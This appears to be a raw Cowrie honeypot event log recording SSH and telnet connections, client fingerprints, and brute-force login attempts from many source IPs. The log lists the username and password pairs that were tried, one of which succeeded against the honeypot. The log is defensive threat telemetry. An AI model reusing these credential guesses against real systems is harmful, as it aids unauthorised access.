{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:20.095255Z","src_ip":"159.65.58.200","session":"2c26f42d0e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shpotya","password":"123456","message":"login attempt [shpotya/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:21.803002Z","src_ip":"159.65.58.200","session":"2c26f42d0e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:22.890363Z","src_ip":"8.210.75.243","session":"d264bba4cf7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:23.030284Z","src_ip":"159.65.58.200","session":"2c26f42d0e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":35784,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3f72bf4587c","protocol":"ssh","message":"New connection: 77.94.47.83:35784 (159.203.135.109:22) [session: e3f72bf4587c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:25.460196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:25.464386Z","src_ip":"77.94.47.83","session":"e3f72bf4587c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:25.576127Z","src_ip":"77.94.47.83","session":"e3f72bf4587c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonics","message":"login attempt [root/sonics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:25.910440Z","src_ip":"77.94.47.83","session":"e3f72bf4587c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:27.024019Z","src_ip":"77.94.47.83","session":"e3f72bf4587c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35974,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc0293a82231","protocol":"ssh","message":"New connection: 8.210.75.243:35974 (10.17.0.5:22) [session: bc0293a82231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:27.665468Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:29.291275Z","src_ip":"107.155.48.46","session":"dd53fa7f9b42","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:29.341306Z","src_ip":"107.155.48.46","session":"dd53fa7f9b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47506,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d938ddde2c4","protocol":"telnet","message":"New connection: 107.6.151.170:47506 (159.203.135.109:23) [session: 0d938ddde2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:30.168725Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":43328,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f3dcc178958","protocol":"ssh","message":"New connection: 108.179.220.174:43328 (10.17.0.5:22) [session: 5f3dcc178958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:31.346506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:31.351082Z","src_ip":"108.179.220.174","session":"5f3dcc178958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:31.378509Z","src_ip":"108.179.220.174","session":"5f3dcc178958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agix2024","message":"login attempt [root/agix2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:31.469391Z","src_ip":"108.179.220.174","session":"5f3dcc178958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:32.498959Z","src_ip":"108.179.220.174","session":"5f3dcc178958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":55510,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e2d2fe35f0","protocol":"ssh","message":"New connection: 161.97.75.11:55510 (159.203.135.109:22) [session: 90e2d2fe35f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:34.038599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:34.043355Z","src_ip":"161.97.75.11","session":"90e2d2fe35f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:34.140562Z","src_ip":"161.97.75.11","session":"90e2d2fe35f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"algiers_crypto","password":"algiers123","message":"login attempt [algiers_crypto/algiers123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:34.419538Z","src_ip":"161.97.75.11","session":"90e2d2fe35f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:35.515337Z","src_ip":"161.97.75.11","session":"90e2d2fe35f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":44624,"dst_ip":"10.17.0.5","dst_port":22,"session":"c62de8520e90","protocol":"ssh","message":"New connection: 162.240.35.200:44624 (10.17.0.5:22) [session: c62de8520e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:36.776141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:36.780764Z","src_ip":"162.240.35.200","session":"c62de8520e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:36.870036Z","src_ip":"162.240.35.200","session":"c62de8520e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"H3d3r@$M@st3r@P@ss","message":"login attempt [root/H3d3r@$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:37.140208Z","src_ip":"162.240.35.200","session":"c62de8520e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:39.113754Z","src_ip":"162.240.35.200","session":"c62de8520e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.06348252296448,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:39.159831Z","src_ip":"170.64.224.25","session":"301428e9e88b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:45.253354Z","src_ip":"8.210.75.243","session":"2b612254fd2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39784,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a3dd616dea","protocol":"telnet","message":"New connection: 170.64.224.25:39784 (159.203.135.109:23) [session: f5a3dd616dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:47.533938Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48072,"dst_ip":"10.17.0.5","dst_port":22,"session":"94ecac8b2ddc","protocol":"ssh","message":"New connection: 8.210.75.243:48072 (10.17.0.5:22) [session: 94ecac8b2ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:50.262563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:50.267152Z","src_ip":"8.210.75.243","session":"94ecac8b2ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.279154777526855,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:46:53.502050Z","src_ip":"170.64.224.25","session":"40b7372a9731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66130828857422,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:02.829750Z","src_ip":"107.6.151.170","session":"0d938ddde2c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60168,"dst_ip":"10.17.0.5","dst_port":22,"session":"010a503a6915","protocol":"ssh","message":"New connection: 8.210.75.243:60168 (10.17.0.5:22) [session: 010a503a6915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:08.211971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:08.215012Z","src_ip":"8.210.75.243","session":"010a503a6915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:09.643435Z","src_ip":"8.210.75.243","session":"2f38f8f535b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44036,"dst_ip":"10.17.0.5","dst_port":22,"session":"47d06915e424","protocol":"ssh","message":"New connection: 8.210.75.243:44036 (10.17.0.5:22) [session: 47d06915e424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:47.629785Z"}
{"eventid":"cowrie.session.closed","duration":60.95001196861267,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:48.483805Z","src_ip":"170.64.224.25","session":"f5a3dd616dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd746e59c49","protocol":"ssh","message":"New connection: 91.92.40.4:54326 (10.17.0.5:22) [session: 4cd746e59c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:51.954237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:51.958948Z","src_ip":"91.92.40.4","session":"4cd746e59c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:52.040688Z","src_ip":"91.92.40.4","session":"4cd746e59c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password123","message":"login attempt [hadoop/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:52.411929Z","src_ip":"91.92.40.4","session":"4cd746e59c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:53.496307Z","src_ip":"91.92.40.4","session":"4cd746e59c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"4722d50f0891","protocol":"telnet","message":"New connection: 170.64.224.25:51750 (159.203.135.109:23) [session: 4722d50f0891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:47:59.672570Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40598,"dst_ip":"159.203.135.109","dst_port":22,"session":"9806e7dea4b3","protocol":"ssh","message":"New connection: 109.237.96.109:40598 (159.203.135.109:22) [session: 9806e7dea4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:12.293981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:12.297590Z","src_ip":"109.237.96.109","session":"9806e7dea4b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:48:12.389815Z","src_ip":"109.237.96.109","session":"9806e7dea4b3","protocol":"ssh"}
